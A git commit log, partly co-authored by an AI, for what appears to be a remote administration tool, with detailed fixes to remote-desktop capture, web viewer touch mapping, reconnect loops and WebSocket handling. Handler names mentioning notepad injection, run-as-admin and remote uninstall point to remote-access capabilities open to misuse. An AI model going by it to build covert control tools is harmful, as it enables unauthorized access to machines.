181 Commits
Author SHA1 Message Date
yuanyuanxiang e99092ca70 Release v1.4.2 2026-10-31 18:24:54 +01:00
yuanyuanxianganddeepseek-flash ebc2d03290 fix(web): keep the IME bar still and the pointer honest in portrait
Two separate faults showed up once the "I" shortcut was in use in portrait: the
phone input bar would not stay put, and the pointer stopped being where it
claimed to be.

#ime-bar was the last flex child of #screen-page, so it sat at the bottom of the
page, and the only thing keeping it above the keyboard was adjustImeBar()
writing padding-bottom on #screen-page -- the bar chased the keyboard height
frame by frame through visualViewport. The keyboard animation is asynchronous
and the events lag behind it, so while it rose the bar was still low with the
keyboard already covering everything from y=544. A later attempt clamped it
against keyboardTopY() and reserved the last measured keyboard height before the
keyboard arrived. That kept it visible, but the bar still moved whenever the
keyboard changed height -- switching input method, the QuickType row, the
AutoFill Contact chip appearing or going away -- and that is what "the input box
keeps getting pushed up" actually was.

The bar is now a fixed overlay at the bottom edge of the picture, placed by the
same formula the shortcut row already used: picture bottom + 4px. In portrait
adjustImeBar() has nothing left to chase -- it only clears the padding that
landscape may have left behind, and recomputes when the keyboard top changes.
That recompute is idempotent and the style is only written when the value
differs, so in the normal case it produces no movement at all. lastKbHeight,
KB_HEIGHT_GUESS, noteKeyboardHeight() and the old keyboard-top tracking are gone
with it.

One clamp survives, as a safety net: if the picture bottom is itself inside the
keyboard block -- a remote machine that is portrait, where the picture is taller
than the space above the keyboard -- the bar falls back to the keyboard top,
because there is nowhere else to put it. That case also has to follow the
keyboard, which is why the recompute above still exists. For a landscape/16:9
remote the clamp never fires and the position is a constant.

Getting that constant right needed a coordinate fix. #ime-bar hangs off
#screen-page while #input-shortcuts lives inside .canvas-container, so the two
have different containing blocks. Reusing the shortcut formula
(canvas.offsetTop + ...) put the bar a whole toolbar height too high -- 279
against a picture that ends at 319 -- which is why it always looked like it was
floating above the shortcut row. The bar's position now comes from the canvas
rect minus the #screen-page rect, so the containing block is whatever the bar
actually resolves against; that subtraction also cancels the translateY
compensation, since both rects are inside the translated element. It lands at
323..382, 4px under the picture.

Landscape keeps the flex behaviour via (orientation: landscape). That is not
just tidiness: an absolutely positioned child does not take padding into
account, because bottom: 0 resolves against the padding box, which includes the
padding. Left as an overlay, the bar would have stayed at the very bottom of the
screen and been covered by the keyboard instead of being pushed up by
padding-bottom.

Opening the keyboard must not move the picture either, and two things were
moving it:

- #screen-page had no overflow guard. #term-page already carries one for exactly
  this reason ("stop iOS from quietly adding a scroll to body and lifting the
  whole page"). Without it iOS hands the page a scroll and then scrolls it once
  the keyboard comes up.
- Even with the page locked, iOS moves the *visual* viewport up when the keyboard
  appears (visualViewport.offsetTop > 0). #screen-page is position: fixed and is
  therefore pinned to the layout viewport, so the entire page -- picture
  included -- was pushed off the top of the screen.

So #screen-page gets overflow: hidden + overscroll-behavior: contain, and
syncVisualOffset() translates it by exactly visualViewport.offsetTop to cancel
the shift. It is driven by the IME rAF loop and the viewport scroll event, and
clears the transform once the offset returns to 0. Nothing downstream has to
compensate for it: the picture, the pointer overlay and the bar are all
descendants of #screen-page, so they move with it.

The pointer overlay was the one thing that did not accept that. .cursor-overlay
was position: fixed, placed by taking the canvas's getBoundingClientRect() and
then subtracting whatever translateY the page currently carried -- two
independent sources of truth that have to agree exactly, the browser's idea of
where the canvas is and our own idea of how far we moved it. They do agree in
desktop Chrome, which is why the harness never saw the fault, but on the phone
they did not: once the IME was open the overlay was drawn off by the
compensation amount while taps still landed correctly, and closing the input box
-- offsetTop back to 0, transform gone -- put it back. The overlay is now
position: absolute inside .canvas-container, the same containing block the canvas
resolves against, and style.left/top hold canvas-local CSS pixels (bx/kx, by/ky).
No viewport rect, no compensation term: whatever an ancestor does to the picture,
it does to the pointer. pageShiftY() is gone with it.

The overlay also has to follow a re-fit, not just a move. resizeScreenCanvas()
keeps the last remote coordinate the overlay was placed at and replays it once
the bitmap has been resized, so the keyboard shrinking the layout viewport, a
rotation or a fullscreen toggle no longer leaves the pointer where the previous
geometry put it.

The touch mapping and the drawing path have to stay exact inverses --
positionCursorOverlay() turns remote coordinates into a position on the canvas,
screenToCanvas() turns a finger position back into remote coordinates -- otherwise
the cursor is drawn where nobody tapped. It was only after the keyboard had been
up for a while that this broke: switching the input method changes the keyboard
height, iOS pans the visual viewport to keep the focused textarea visible, and
from then on offsetTop is non-zero.

iOS also stacks a row of its own directly above the keyboard: the QuickType
predictions and, when Safari decides the field looks like it can take contact
info, an "AutoFill Contact" chip. The textarea gets the full set of suppression
attributes (autocomplete, autocorrect and autocapitalize off, spellcheck off,
inputmode text). That lowers the odds of the chip showing up at all, but iOS
does not promise to honour it -- the only guaranteed off switch is Settings >
Safari > Autofill > Use Contact Info, which is a per-device setting.

With the bar no longer able to hide under the keyboard, the shortcut row below
the picture is only in the way: that row exists to be tapped *before* the IME
opens, and while the IME is open the bar takes its place. Opening the IME now
hides it, so the bar sits 4px under the picture instead of queuing up below the
row. The class lives on #screen-page rather than being stripped off .visible,
because updateUIForOrientation() recomputes .visible from keyboardOpen and would
put the row straight back. Closing the IME -- the bar's own collapse button does
that -- or disconnecting restores it. The key buttons it holds stay reachable by
reopening the mobile keyboard, which is what showed the row in the first place.

The bar also has to exist only while the keyboard does. Tapping it is what wakes
the keyboard in the first place, and iOS then scrolls the page to keep the
focused field visible -- which is the "tap the input box and it shoves itself up"
report. updateImePresence() runs in the IME rAF loop and puts .ime-waiting on the
bar the moment the keyboard is not up -- opacity 0, so it is not there to touch
-- and closeIme() 450ms later once the keyboard has really gone. Two deliberate
choices in that CSS: it is opacity, not display or visibility, because the
textarea has to stay in the document and focusable or the keyboard never comes
up at all; and there is no pointer-events: none, because that would let touches
on that strip fall through to the canvas and become stray clicks on the remote
machine. The wait for the keyboard to appear is capped at 3000ms, after which the
IME is abandoned rather than left invisible forever. It is generous on purpose:
iOS sometimes does not update visualViewport until something scrolls, and a short
timeout would close a perfectly good IME on a slow device.

The RDP reset button redraws the whole frame, but it left the IME open. The bar
stayed on screen, so touching its textarea brought the keyboard back up -- and the
page got shoved again, with the pointer going with it. Reset now closes the IME
first. Since "close the IME" was being spelled out in three places (the I button,
the keyboard toggle, disconnect) and each copy had drifted a little, it is now one
closeIme() that toggleIme(), toggleKeyboard(), sendRdpReset() and disconnect()
all call. The cleanup half runs unconditionally -- imeMode and the DOM can fall out
of sync and a half-closed state is exactly what leaves a bar that pops the
keyboard -- while updateKeyboardButtons(false) is guarded by whether the IME was
actually open, so resetting with only the mobile keyboard up does not close it.
disconnect() additionally keeps its own updateKeyboardButtons(false), because
there the keyboard should close regardless, and it no longer needs to reset
imeMode by hand -- which also stops imeWatcher's rAF loop from spinning on after
a disconnect.

Deselecting the mouse (the control toggle) now drops the keyboard and the IME as
well, for the same reason: leaving the bar on screen means the next touch on its
textarea brings the keyboard back up and shoves the page. Closing only the IME
would not be enough here -- the mobile keyboard is a separate focus -- so
closeKeyboardAndIme() blurs both and is what the control toggle and disconnect()
now share.

Verified with visualViewport.height mocked so the keyboard arrives after the bar
has been placed, on 390x844 and 375x667, with a 16:9 and a portrait remote, at
keyboard heights 0/216/260/300/304/344. For the 16:9 remote the bar is 323..382
at every single step -- zero jump across the whole sweep, where the portrait
remote used to jump 300px. For a portrait remote it tracks the keyboard top
(485..544 at 300px), the only position available to it. No case leaves the bar
under the keyboard, and every measured position equals min(picture bottom + 4,
keyboard top - bar height) to 0.0px.

The bar is present exactly when the keyboard is, checked at every step: on tap
(before the keyboard rises) opacity 0; keyboard up, opacity 1; keyboard down 60ms,
opacity 0 again; 580ms, imeMode false and display none. Reopening with the keyboard
never arriving keeps it at opacity 0 and gives up after 3s. No page errors.
Picture placement across all five layouts is byte-identical to before the change.
Cursor accuracy is dx=dy=0 over portrait/landscape x scale 1/2/3 x offsetTop
0/150/200/300, and the round-trip test -- positionCursorOverlay() asked where to
draw, that screen position fed back through screenToCanvas() -- returns the
original remote point for all nine cases; before the inverse fix six of them were
off, by exactly offsetTop scaled into remote pixels (739 at offsetTop 150 for the
(1800,1000) point).

Tapping RDP reset with the IME open (keyboard mocked at 544, visualViewport
offsetTop at 200) leaves imeMode false, the bar display:none, the transform
cleared, visualOffsetY 0 and the watcher stopped, with the picture still at
y=100..319.4 instead of being shoved up; disconnect() from the same state clears
it identically. Deselecting the mouse from that same state (control on, mobile
keyboard focused, IME open, keyboard mocked at 544 and offsetTop at 180) leaves
controlEnabled false, imeMode false, neither element focused, the bar
display:none, the transform cleared and the watcher stopped, with the picture
still at y=100..319.4. Opening the IME moves the bar from the shortcut row's slot
to 323..382 and closing it puts the row back at 321..369, through both toggleIme()
and a direct class toggle. In landscape the flex path still works: with a 200px
padding the bar goes from 331..390 to 131..190, i.e. just above the keyboard.

The pointer was a second, unrelated bug, and a worse one. screenToCanvas() added
visualViewport.offsetTop on top of a clientX/clientY that is
already expressed in the same coordinate space as getBoundingClientRect(), i.e.
after the translateY compensation. Both quantities include the pan, so subtracting
them already cancels it; adding offsetTop counted it twice. That pushed every
computed remote y down by offsetTop scaled into remote pixels -- 492 remote pixels
at offsetTop 100 on a 16:9 remote -- so everything below the middle of the picture
overshot streamH and was clamped to streamH-1. The symptom is exactly what it
looks like: the pointer can only be moved in the upper part of the picture, a
fixed horizontal band cannot be crossed downwards, and clicking inside that band
lands on the remote taskbar. At offsetTop 300 the whole picture mapped past the
bottom, so every touch landed on the taskbar. The pinch origin had the same
mistake, and so did the cursor recomputation at the end of a pinch, which fed the
overlay's style.top -- a pre-compensation coordinate -- back into screenToCanvas.

Neither direction may add the compensation, and neither does: clientX/clientY and
getBoundingClientRect() are already in the same space, and the overlay no longer
works in screen coordinates at all. The round-trip test had been written against
the wrong premise -- it fed style.top straight into screenToCanvas() -- so it
kept passing while the absolute mapping was wrong. It now converts the overlay's
style values back through the canvas rect on the way in.

Verified against the picture's own rect rather than against the other function:
for points at 10/30/50/70/90/99% of the picture height, screenToCanvas() must
return the remote pixel that sits under that point. At offsetTop 0/100/300 all
eighteen cases are exact (error 0,0); before the fix, offsetTop 100 was off by
+492 on every point and the lower half clamped to 1079, and offsetTop 300 clamped
the entire picture to 1079. The overlay still renders where it should -- for a
pointer driven to the remote bottom it lands 4px above the picture's bottom edge,
the constant hotspot offset, at offsetTop 0 and 300 alike -- and the round-trip
test still returns the original remote point for all nine cases once the
transform is accounted for. With the overlay anchored to the canvas it holds that
alignment through the whole IME lifecycle: dx=dy=0 at offsetTop 0, 200 and 300, on
both a 16:9 remote in portrait and after rotating to landscape and back, and the
pointer lands back on the picture after the IME closes. The rotation case also
covers the re-fit path: the container changes size, the canvas is resized, and
the overlay is replayed at the new geometry instead of staying where the old one
put it.

Co-Authored-By: deepseek-flash
2026-10-31 13:37:27 +01:00
yuanyuanxianganddeepseek-flash 0a6cbbbf06 fix(web): draw the remote screen inside a fixed canvas to kill the iOS ghost lines
On an iPhone in landscape, panning the picture to the left with two fingers left
a stack of 1px vertical lines along the right edge. It only showed up after
zooming in, and every pan added more lines.

The cause is the old render model, not the panning code. #screen-canvas was
sized to the remote resolution and then moved/scaled with a CSS transform
(`canvas.style.transform = scale(s) translate(tx, ty)`). iOS Safari caches the
raster of a transformed canvas layer and does not repaint the strip the layer
uncovers when it moves, so whatever sat at the old right edge -- one column of
the picture -- got stretched across the newly exposed band. Pan again and the
next column repeats it: the lines accumulate.

An earlier attempt clamped the pan range so the uncovered band could not appear.
That was wrong twice over: it did not remove the ghosting (the clamp still moved
the layer, so the edge was still repainted from a stale raster), and it put hard
limits on dragging, which is not how the page is used.

So the canvas element now never moves. It is pinned to the container
(bitmap = viewport x devicePixelRatio, driven by a ResizeObserver), and every
frame is drawn into it with ctx.setTransform. There is no CSS transform, no CSS
scaling, and no layer movement left to cache, so there is nothing to leave a
stale edge behind.

- renderFrame(): paints black, then draws the latest frame with the fit-to-view
  and pinch-zoom/pan transform applied via setTransform.
- initDecoder(): keeps the remote-resolution frame in an offscreen frameCanvas.
  The isTopDown flip is applied to that canvas only, so the visible canvas is
  always upright and no longer needs a flipped transform.
- positionCursorOverlay() / screenToCanvas(): rewritten as exact inverses of the
  new transform chain, so the cursor overlay and touch coordinates still land on
  the right remote pixel.
- applyZoomTransform(): drops the CSS transform and every pan clamp. Dragging
  past the picture just shows the canvas' own black background, with no boundary
  at all -- the free panning feel is unchanged.
- Touch/mouse deltas are converted with remotePerScreenPx() instead of assuming
  the old element size.

The picture also has to land exactly where it used to. In the old model the
canvas element *was* the picture, so the flex container positioned it: portrait
CSS sets `.canvas-container { align-items: flex-start; padding-top: 56px }` to
pin it to the top and keep the on-screen keyboard off it, landscape leaves it
centred. Now that the picture is drawn inside a full-bleed canvas, flex no
longer positions it, and hard-coding "centre" dropped it 262px in portrait --
straight into the keyboard's path. So renderFrame takes its vertical placement
from the container's computed align-items and padding-top, and the canvas covers
the padding box so a zoomed picture panned upwards still reaches the top of the
container the way it used to.

The zoom anchor had the same problem: originX/originY were read as percentages
of the canvas, while the old transform-origin sat on the canvas element, i.e. on
the picture. They are percentages of the picture now, so pinch-zoom keeps the
point under the fingers fixed instead of drifting towards the canvas centre.

Two smaller details have to be right for the mapping to stay exact, and both are
fixed here rather than left for later:

- resizeScreenCanvas() takes its scale factor from the bitmap it just allocated
  divided by the measured CSS width, not from devicePixelRatio. The bitmap is
  rounded, so with a fractional CSS width or a non-integer ratio the two drift
  apart -- 843.5px at dpr 2.625 lands 2.2e-3 apart -- and translateX, which
  reaches a few hundred px, turns that into a ~1px mismatch between the picture
  and the cursor overlay. getViewMetrics().d is now identically equal to the
  kx reported by canvasPixelRatio().
- updateInputShortcutsPosition() divides the picture height out of streamH, which
  is 0 before the first frame; it now bails out instead of placing the shortcuts
  bar in the middle of the canvas box.

Nothing else reads the canvas dimensions, so the semantic change from "remote
resolution" to "viewport x dpr" does not reach any other feature: there is no
toDataURL/getImageData anywhere, the wall tiles own their own canvases and go
through wallHandleFrame, the cursor overlay is a fixed 24x24 element that never
scaled with the old CSS transform either, and the wheel/dblclick handlers only
forward coordinates. The overlays that sit on top of the canvas (quick controls
100, shortcuts 101, android navbar 102, cursor 1002) all carry a z-index, so
making the canvas positioned does not push it over them.

Verified in a browser harness built from the same functions the page uses:
drawing position vs cursor position over 90 fully-visible cases is off by at
most 0.42px, the screen->remote->screen round trip over 1500 points is exact to
0.000px, a real two-finger gesture chain (scale 1 -> 2.5, translateX -145) moves
the picture correctly with no page errors, and across dpr 1.5/2/2.625/2.75/3 the
bitmap ratio matches the CSS ratio exactly (round-trip error 7e-4px, float
noise). Picture placement was diffed against the previous build in five layouts
(portrait, portrait fullscreen, Android immersive, landscape, landscape
fullscreen) and matches to 0.0px in every one; a portrait zoom of 2x panned up
by 150px shows the same visible band (y 44..128) as before; with the viewport
shortened to simulate the keyboard the picture stays at y 100..319 and is not
covered; pinch anchors at 25%/50%/80% of the picture stay put to 0px across
scale 1.5/2/3. The user confirmed on the device that the lines are gone.

Co-Authored-By: deepseek-flash
2026-10-31 10:28:10 +01:00
yuanyuanxianganddeepseek-flash 36ae4b3057 fix(client): stop the reconnect loops from spinning when the master restarts
On a master restart the client receives SERVER_EXIT and KernelManager sets
g_bExit = S_SERVER_EXIT. IsClientAppRunning() compares against S_CLIENT_NORMAL,
so it flips to false immediately and the worker starts tearing down -- but
g_bThreadExit is only cleared at the very end of StartClient. Throughout that
window TestRun() still sees IsThreadRun() == TRUE and takes its early-return
path.

The loader's reconnect loop deliberately does not wait in the S_SERVER_EXIT case
("reconnect immediately, do not wait for share instances"), and its else branch
was empty, so it re-entered TestRun() with no delay whatsoever. Measured on a
live host: 919 identical "TestRun SetServer[91.99.165.207:443]" lines inside a
single second, 960 on its second instance. The client ring buffer holds 1000
lines, so that burst erased the entire history -- which is why nothing from
before the restart could be inspected afterwards. IsStoped() cannot gate this:
it returns true unconditionally while g_bExit == S_SERVER_EXIT, conflating
"worker exited" with "master restarted".

- test.cpp: sleep 20ms in the S_SERVER_EXIT branch. The sleep runs concurrently
  with the worker's teardown rather than after it, so reconnecting is delayed by
  at most one 20ms tick.
- ClientDll.cpp TestRun(): log only when SetServer() reports the address really
  changed. It returns false for a null address, which also silences AutoRun's
  TestRun(NULL, 0) calls. Nothing is lost: the restart itself is already logged
  as "======> Server exit" in KernelManager.
- ClientDll.cpp AutoRun(): its do/while had no sleep either. Gate it on "still
  in S_SERVER_EXIT and a worker is still running" so the normal path stays
  zero-delay.

Together these turn a burst that wiped the log buffer into silence, and cap the
loop at 50 iterations per second instead of roughly 900. A worker that hangs
during teardown still burns a core; curing that needs the thread-alive state
exposed separately from IsStoped(), which is an interface change and is left out.

Co-Authored-By: deepseek-flash
2026-10-30 23:39:05 +01:00
yuanyuanxianganddeepseek-flash cbb84809d8 fix(server): bind context-menu commands to the hosts the menu was opened for
The host list is a virtual list (LVS_OWNERDATA), so its selection is stored as
row indices. m_HostList is reordered underneath those indices: ApplySort() sorts
it in place on every TIMER_REFRESH_LIST tick, and RemoveFromHostList() erases
entries as hosts go offline. TrackPopupMenu runs its own modal loop, which keeps
dispatching WM_TIMER, so by the time the user clicks an item the row numbers
have already shifted. Every command handler resolves its targets at click time
with GetFirstSelectedItemPosition() + GetContextByListIndex(), a pure row lookup
(m_HostList[m_FilteredIndices[row]]), so a menu opened for host A could act on
whichever host now occupied that row.

Snapshot the selected clientIDs before the popup and restore the selection to
their current rows when it returns, dispatching the command ourselves through
TPM_RETURNCMD so the restore happens first. CMenu::TrackPopupMenu is not used
for this because its return type is BOOL, which would truncate the command ID.

Restoring the selection alone is not enough. A dozen handlers pop a confirmation
or input dialog before resolving their targets, and that modal pumps WM_TIMER
too, so the selection drifts a second time. Keep the same clientID snapshot in
m_CtxMenuTargets for the duration of the dispatch and let ResolveCommandTargets()
prefer it over re-reading the selection. Every lookup revalidates GetClientID()
against the row it landed on, so a stale index skips the host instead of acting
on a different one, and hosts that went offline while the menu was open are
dropped rather than guessed at. The snapshot is saved and restored around the
dispatch so a nested popup cannot clobber the outer one.

SendSelectedCommand, ShouldRemoteControl, SwitchSelectedProtocol, OnOnlineDelete,
OnOnlineUninstall, OnOnlineHostnote, OnOnlineRunAsAdmin, MachineManage and
ProxyClientTcpPort now resolve through it. Handlers that show no dialog before
resolving (OnMainProxy, OnOnlineAddWatch, OnOnlineInjNotepad, OnOnlineLoginNotify,
OnOnlineActiveWnd) keep reading the selection directly.

Co-Authored-By: deepseek-flash
2026-10-30 23:07:48 +01:00
yuanyuanxianganddeepseek-flash 96f1bacd43 fix(client): use GDI capture when the session has no interactive desktop
A host whose DXGI initialisation hangs never opens the remote desktop window at
all. WorkThreadProc runs InitScreenSpy() and SendBitMapInfo() back to back, so a
capturer that never finishes constructing means TOKEN_BITMAPINFO is never sent,
and the master - which only opens the window on that token - waits forever. On
the affected Server 2022 box the screen thread stopped right after logging its
type and algorithm, printing neither the DXGI init summary nor the existing
"DXGI SPY init failed" fallback, so it was stuck inside the capturer
constructor; a healthy machine on the same build reaches the summary in under a
second. Six clicks left six stuck threads, each holding a D3D device.

DXGI desktop duplication needs a display to duplicate. With no interactive
desktop it can return no frames at best, and on some drivers it never returns
from the initialisation calls at all. BitBlt has no such dependency and keeps
working, which is why switching the screen type to GDI made the same host
connect. Detect that up front and pick GDI instead of relying on a hang to be
survivable:

- IsWorkstationLocked() - the input desktop is Winlogon. Moved out of
  CKernelManager into Manager.cpp so the capturer can use it too; the manager
  keeps its private wrapper for the "Locked:"/"Inactive:" activity string.
- IsCurrentSessionDisconnected() - the process's own session is
  WTSDisconnected. That is the state the reported host was actually in: its
  client runs in session 2, which was disconnected, and the desktop only came
  back after the master's "RDP session reset" ran tscon. Session 0 has no
  disconnected state and is left alone.

Either condition means the same thing for capture, so both route to the plain
GDI capturer. An active session keeps DXGI untouched, so hosts that work today
are unaffected; the new log line names which condition fired.

Co-Authored-By: deepseek-flash
2026-10-30 22:36:01 +01:00
yuanyuanxianganddeepseek-flash 6a3d536d38 fix(server): keep the build dialog's default protocol at TCP
Commit 46f4bf2 swapped InsertString for AddString on IDC_COMBO_PROTO while
attaching protocol values as item data. That combo carries CBS_SORT, and the two
messages differ there: CB_ADDSTRING inserts in alphabetical order and returns
the sorted position, while CB_INSERTSTRING ignores CBS_SORT entirely. The list
went from TCP/UDP/HTTP/random/KCP/WebSocket/WS+TLS to HTTP/KCP/TCP/UDP/...,
so SetCurSel(0) landed on HTTP and every newly opened build dialog defaulted to
the wrong protocol.

Revert both hunks of that commit for this dialog. The items are appended with
InsertStringL like every other combo on the form, and OnBnClickedOk reads
GetCurSel() again: with no item data attached GetItemData returns 0 for every
row, so the previous guard (0 != CB_ERR) would have written TCP no matter what
the user picked. PROTO_TCP..PROTO_WSS are 0..6 without gaps and PROTO_HTTPS
sits outside the list, so the index still equals the protocol value.

Co-Authored-By: deepseek-flash
2026-10-30 22:18:17 +01:00
yuanyuanxiang 389de9d456 fix(client): fall back to GDI capture when DXGI duplication yields no frames
Some environments never deliver a frame from
IDXGIOutputDuplication::AcquireNextFrame: headless or virtual displays, Session 0
desktops, and drivers that do not push duplication notifications. It returns
DXGI_ERROR_WAIT_TIMEOUT forever, even while the desktop is changing.

Consequences:
- The first screen could not be captured, so the server kept showing
  "Please wait..." because m_bIsFirst was never cleared.
- Adding a GDI fallback for the first screen alone was not enough: the picture
  appeared but then froze, because ScanNextScreen still polled DXGI and always
  got nothing back, leaving the encoder without input.

Fixes:
- Add CaptureByGDI(), which grabs a frame with GetDC(NULL) + CreateDIBSection +
  BitBlt. GDI does not depend on desktop changes, which is why the plain GDI
  capture path always worked in these environments.
- When the first screen cannot be obtained from DXGI, capture it with GDI and
  mark the whole session as GDI (m_bGDIFallback = true), releasing the
  duplication object. All later frames then go through GDI so the picture keeps
  updating.
- Normal machines are unaffected: if DXGI delivers the probe frame or the first
  screen, the flag stays false and the GDI path is never entered. This also
  avoids mis-detecting a momentarily static desktop as a broken duplication,
  which a plain timeout counter would do.
- Create the GDI offscreen DIB lazily and reuse it (m_hGdiMemDC, m_hGdiBmp,
  m_pGdiBits). The fallback is a per-frame path, so allocating and freeing about
  15MB every frame would cause visible jitter.
- Reuse m_BitmapInfor_Full for CreateDIBSection instead of building a second
  BITMAPINFO: it is already 32bpp BI_RGB with a positive height (bottom-up) and
  matches the surface size.
- Guard the GDI buffer readiness check. If CreateCompatibleDC or SelectObject
  fails, drop the bitmap so the next call does not mistake a half-initialized
  state for a usable one; otherwise BitBlt would silently write nowhere and
  memcpy would read uninitialized memory.
- Restore the previous bitmap before DeleteDC and check for HGDI_ERROR,
  otherwise DeleteObject on the still-selected bitmap fails and leaks it.

The fallback matches the plain GDI capture path (full-size BitBlt plus
ScaleBitmap), so a downgraded session performs the same as GDI mode. The only
added cost versus DXGI is one BitBlt per frame.
2026-10-30 21:57:39 +01:00
yuanyuanxiang bc75e1ae99 fix(client): fix DXGI black screen on rotated displays and slow first frame
1. Black screen on rotated displays

Root cause: with DXGI Desktop Duplication on a rotated output,
DXGI_OUTDUPL_DESC.ModeDesc reports the logical desktop size (e.g. 1440x2560)
while the surface returned by AcquireNextFrame is the unrotated landscape
bitmap (2560x1440). The old code created cpuTexture from the ModeDesc size.
On a mismatch ID3D11DeviceContext::CopyResource returns void and silently
copies nothing, leaving the destination texture all zeros, so the first
screen and every H.264 frame were fully black (IDR was only 5KB).
The GDI path does not go through DXGI and was unaffected; the web client uses
the DIFF algorithm and was hit too, but looked different.

Fixes:
- Create cpuTexture from the real D3D11_TEXTURE2D_DESC; when the probe fails,
  derive the real surface size from Rotation instead of falling back to
  ModeDesc, which would reintroduce the black screen
- Add BlitRotated() to upright the image for ROTATE90/180/270, with a whole-row
  memcpy fast path for IDENTITY; m_ulFullWidth/Height now hold the upright
  logical size
- Treat DXGI_ERROR_WAIT_TIMEOUT as "no new frame" instead of a failure, so a
  static desktop reuses the previous frame instead of always returning nullptr
- GetFirstScreenData: fix the write offset (start at +1, previously the color
  channels were all wrong) and report the scaled size instead of the full size,
  which used to send about 8.5MB of garbage
- Validate the frame format against a whitelist; fall back to BGRA and warn for
  formats that are not 4 bytes per pixel

2. Slow first frame (the probe frame consumed the initial frame)

Root cause: the probe frame AcquireNextFrame(500), added to read the real
texture description, was released right after use and therefore discarded.
But the frame DXGI pushes after DuplicateOutput is often the only frame
available on a static desktop. After discarding it, the first-screen
AcquireNextFrame always timed out (and that timeout was 1000ms at the time),
ScreenManager had already set m_SendFirst = TRUE so it never retried, and the
encoder had no input to produce an IDR, so the picture only appeared once the
desktop changed. Symptom: MDLL/EXE builds with this fix took a long time to
show the remote desktop, while the old build without the probe frame was fast.

Fixes:
- Keep the probe frame: stash it in m_probeRes without calling ReleaseFrame and
  let the new ConsumeProbeFrame() fill the first screen once the buffers are
  allocated, so the first screen no longer depends on the desktop changing
- Probe timeout 500 -> 200ms; verify both size and format of the probe frame
  against cpuTexture and skip consumption on mismatch, otherwise a silently
  failed CopyResource would be taken as a valid all-black first screen
- CaptureFrame: drop "reuseOk ? 100 : 1000" and use a fixed 100ms timeout. The
  AcquireNextFrame timeout is an upper bound rather than a fixed wait, and
  blocking on a static desktop only slowed the capture loop down to 1Hz
- Retry the first screen up to 3 times on "no new frame" (100ms timeout plus a
  20ms gap); skip the capture entirely when the probe frame already filled it
- Release m_probeRes in CleanupDXGI and ReinitDuplication so the duplication
  object can be released

3. Incomplete picture

- Add ScreenCapture::FitDefaultSendSize(), which scales proportionally so the
  long edge stays at or below 1920 and the short edge at or below 1080, for
  both landscape and portrait. The old min(1920,w) and min(1080,h) clamped the
  axes independently and broke the aspect ratio: a 1440x2560 portrait desktop
  was squeezed to 1440x1080, keeping only 42% of the height
- Use the same helper for both the GDI and DXGI paths; common landscape
  resolutions (1920x1080, 2560x1440, 3840x2160, 1280x720) are unchanged

4. Incidental fixes

- CaptureFrame leaked desktopResource when QueryInterface failed, one DXGI
  resource per failure
- Drop the frame and warn when the surface size changes, for example after the
  user changed the resolution, so BlitRotated does not read out of bounds using
  stale sizes
2026-10-30 21:18:57 +01:00
yuanyuanxianganddeepseek-flash 46f4bf2dfb Fix: Make the WebSocket transport reachable and bounded on every platform
The POSIX clients were built without a connection config - Linux, macOS and
Android all construct IOCPClient without the injected CONNECT_ADDRESS - so
ConnectServer saw protoType -1 and quietly dialled the master port in plain
TCP. Setting protoType to WS in their settings did nothing and logged nothing,
and since CLIENT_CAP_PROTO_SWITCH is Windows-only the server could not move
them either. Give the client a SetDefaultProto() for that construction path
and call it from all three mains before the reconnect loop, with a one-shot
log when neither a conn nor a default protocol is available so the silent
fallback becomes visible next time.

Bound what a peer can make the client read. ReadHeader accepted the 8-byte
extended length and rejected only the sign bit, so a frame length of nearly
2^63 kept the connection streaming into a frame that would never end - alive
but never delivering another packet. Cap single frames at 256 MB, the same
value ServerWsSession already applies to client frames, and drop the
connection past it; real traffic is far below that.

Stop Reset() from writing the receive thread's frame state. Disconnect() can
run from the heartbeat or command thread, not just the receive thread, so
Reset() now only flips the atomic ready flag and a new ResetFrames() clears
m_remaining, m_masked and m_maskPos from Handshake() alone, before the
receive thread starts reading the socket. Those fields keep a single owner
without adding a lock to the receive hot path.

Finish a dead WS session instead of leaving it to the keepalive timer. When
the session had closed but wsState was still WS_Ready, sends were dropped and
nothing woke the pending recv, so a peer that closed and then went quiet held
the context for the 3-minute keepalive. shutdown() the socket there so the
recv returns zero bytes and the normal -2 teardown runs; RemoveStaleContext
would deadlock against the caller's own IoRefCount and can hand back a reused
context.

That shutdown only finishes the connection if a zero-byte read still tears it
down, and on the plain path it no longer did. DispatchPlain answers an empty
buffer with "handled", so a peer's FIN left the connection in CLOSE_WAIT
until keepalive - holding an IOCP context, a pending WSARecv and a rate-limit
slot - where the pre-WS code called ParseReceivedData and tore down at once.
Restore that teardown on the TLS_Plain branch, matching the other two. Checked
against a Debug server: a plain socket that half-closes used to sit in
CLOSE_WAIT with the peer's recv timing out, and now disappears immediately
with recv returning zero.

Two smaller cleanups from the same review. Give the WS upgrade its own prefix
buffer (wsPreClassify) instead of borrowing the TLS sniffer's, which was
serially reused for two state machines and read as if it were one. And stop
deriving the build dialog's protoType from the combo box index: items now
carry the protocol value as item data, keyed off the index AddString returns,
so inserting an option in the middle can no longer write the wrong number into
the generated client without any error. ApplyProtoSwitch loses its bool
return, which contradicted its own side effects and was ignored by every
caller.

Co-Authored-By: deepseek-flash
2026-10-30 19:15:14 +01:00
yuanyuanxianganddeepseek-flash 50a489e316 Fix: Close the gaps the WebSocket transport review found
Three of the findings only bite in deployment. First, the client's TLS and
WebSocket handshakes run synchronously on the reconnect thread with no socket
timeout, so a peer that accepts TCP and then goes quiet (black-holed proxy
upstream, middlebox that only receives) blocks recv() forever and stalls the
reconnect loop until the process is restarted. Set a 15 s SO_RCVTIMEO and
SO_SNDTIMEO for the handshake window - the same value both server handshake
threads use - and clear them once the connection is up so the worker thread's
select plus blocking recv keeps working as before.

Second, per-IP rate limiting counted the getpeername address before the real
device was known. Behind a same-host reverse proxy that address is loopback,
which IPWhitelist always trusts, so WS traffic was neither counted nor banned;
behind a remote proxy every device shares one bucket, and tripping the
threshold disconnected all of them. Count and ban by the forwarded device IP
once the upgrade resolves it, mirroring the Go server's limitDirectPeer and
handleConnection split. Direct connections keep their accept-time count and
are not counted twice.

Third, the protocol switch disarmed its five-minute auto-revert as soon as the
new entry connected, which only proves TCP/TLS/WS handshaking finished. If
login is never accepted there (wrong backend, reverse proxy pointing at some
other WS service), the revert could never fire and the client would keep
retrying a dead entry. Disarm on the first CMD_MASTERSETTING instead, which
the server only sends after adding the host to its online list, and re-check
it on every heartbeat so a late one still counts.

The smaller items came along: free the handshake parameter when CreateThread
fails in both handshake starters, move the WS_Handshaking fail-closed guard
ahead of the TLS branch so it also covers WSS (where tlsState is already
